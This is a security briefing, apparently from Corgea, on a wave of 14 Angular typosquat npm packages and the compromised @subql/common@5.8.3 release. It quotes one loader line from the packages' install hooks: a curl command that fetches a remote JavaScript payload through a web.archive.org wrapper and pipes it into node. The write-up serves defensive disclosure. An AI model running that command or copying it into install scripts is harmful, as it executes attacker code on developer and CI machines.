critical

CVE

Not assigned

CWE

CWE-506, CWE-829, CWE-494

Affected Surface

  • npm consumers that installed the 14 malicious Angular lookalike package names published between 4 and 5 October 2026
  • Developer workstations, CI runners, and agentic coding systems that resolved `@subql/common@5.8.3` or the Angular typosquat wave during the exposure window

Welcome to Corgea’s weekly briefing. The briefing covers the most important security findings and research from the week.

This edition reflects the 7 October source sweep across CISA KEV, NVD, Aikido, Wiz, Socket, Endor Labs, and broader web search. After deduping against existing Corgea coverage, one net-new package-registry story warranted a standalone article in the last 72 hours: the Angular typosquat batch below. The other major package story in that window, the @subql/common compromise, was already published as its own Corgea article on 6 October.

Top Article

Angular npm typosquats used web.archive.org to proxy install-time code execution

The top new finding from this sweep is a batch of 14 malicious npm packages whose names sat one edit away from Angular’s real scopes. Thirteen packages were pure install-time loaders. Their preinstall or postinstall scripts piped a remote JavaScript payload from gitflic.ru into node, but they hid the fetch behind a web.archive.org wrapper:

curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node

That detail matters because network controls often treat the Internet Archive as benign infrastructure. This wave turns that assumption into a delivery channel. The odd package, @angulaar/cli, did not use the loader at all. It cloned the real Angular CLI and swapped the official MCP SDK dependency for attacker-chosen package @modelcontextprotocol/server@2.0.0, which makes the typo itself a dependency-substitution vector.

Read the full article for the affected package list, the hook breakdown, the substituted dependency, and the lockfile and cache search commands that matter most.

More news

@subql/common: trusted publisher release swapped in a detached stealer

The other major package-registry story still inside the 72-hour window is the already-covered compromise of @subql/common@5.8.3. That incident remains worth prioritizing because it crossed a different trust boundary than the Angular typosquats. The attacker changed a GitHub Actions publish workflow so the job built the real repository, replaced packages/common with an externally hosted tarball, and then published the result through the project’s own trusted publisher identity.

If your team triages by blast radius, the Angular batch and @subql/common deserve to be read together:

  • the Angular wave shows how cheaply an attacker can weaponize one-character package-name mistakes at install time
  • the SubQuery incident shows that even correct package names are not enough when a release workflow can swap artifacts after build and before publish

Other news

  • The requested CISA KEV sweep produced new entries in the last few days, but none were stronger package-manager or Linux developer-surface stories than the Angular and SubQuery items above.
  • The requested Aikido, Wiz, Socket, and Endor Labs page review did not surface a fresher English-language package compromise or Linux zero day in the 4 to 7 October window that beat the Angular wave on timeliness or technical depth.
  • If you are reviewing developer-environment exposure this week, start with install-time trust boundaries. The two strongest stories in this run both begin before application code starts: one at npm install, the other in a CI publish workflow.

From research to remediation

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References